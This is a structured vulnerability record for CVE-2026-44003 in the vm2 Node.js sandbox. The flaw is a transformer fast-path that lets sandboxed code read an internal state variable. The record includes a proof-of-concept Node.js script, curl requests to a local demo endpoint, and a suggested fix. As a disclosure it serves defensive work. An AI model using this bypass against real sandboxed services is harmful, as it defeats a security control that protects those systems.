{"id":"CVE-2026-44003","aliases":["CVE-2026-44003","GHSA-wp5r-2gw5-m7q7"],"related":[],"kind":"vulnerability","state":"published","title":"vm2: Transformer Fast-Path Bypass Exposes Internal State Variable","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nvm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed — no catch/import/async keywords)\nconst result = vm.run(`\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n  Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test — blocked when catch keyword is present\ntry {\n  vm.run(`\n    try {\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n    } catch(e) { e.message }\n  `);\n} catch(e) {\n  console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}'\n# Result: \"wrapWith,handleException,import\"\n\n# Control test — blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}'\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {\n    return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.","format":"markdown","source":"ghsa"},{"lang":"es","text":"vm2 es un vm/sandbox de código abierto para Node.js. Antes de 3.11.0, el transformador de código de vm2 tiene una optimización de rendimiento que omite el análisis AST cuando el código no contiene las palabras clave catch, import o async. Este bypass de ruta rápida permite que el código en sandbox acceda directamente a la variable interna VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL, que expone funciones de seguridad internas (handleException, wrapWith, import). Esta vulnerabilidad está corregida en 3.11.0.","source":"nvd"}],"published":"2026-05-07T04:32:56.000Z","modified":"2026-11-05T22:15:04.088Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","score":5.8,"rating":"MEDIUM"}],"cwes":["CWE-693"],"affected":[{"ranges":[{"version":"< 3.11.0","status":"affected"}],"vendor":"patriksimek","product":"vm2","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.11.0"}],"ecosystem":"npm","package":"vm2","purl":"pkg:npm/vm2","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.11.0"}],"vendor":"vm2_project","product":"vm2","cpe":"cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44003","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2/commit/9f0484862b74be3584169db282236a47f418ddbb","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-13T18:40:49.017Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44003","url":"https://www.cve.org/CVERecord?id=CVE-2026-44003","licence":"CVE Terms of Use","modified":"2026-05-13T18:41:25.611Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-wp5r-2gw5-m7q7","url":"https://github.com/advisories/GHSA-wp5r-2gw5-m7q7","licence":"CC-BY-4.0","modified":"2026-11-05T22:15:04.088Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44003","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44003","licence":"Public domain","modified":"2026-10-26T17:10:03.270Z"}],"updatedAt":"2026-11-25T22:59:21.613Z","epss":{"score":0.00248,"percentile":0.17302,"date":"2026-12-01T12:00:22.000Z"}}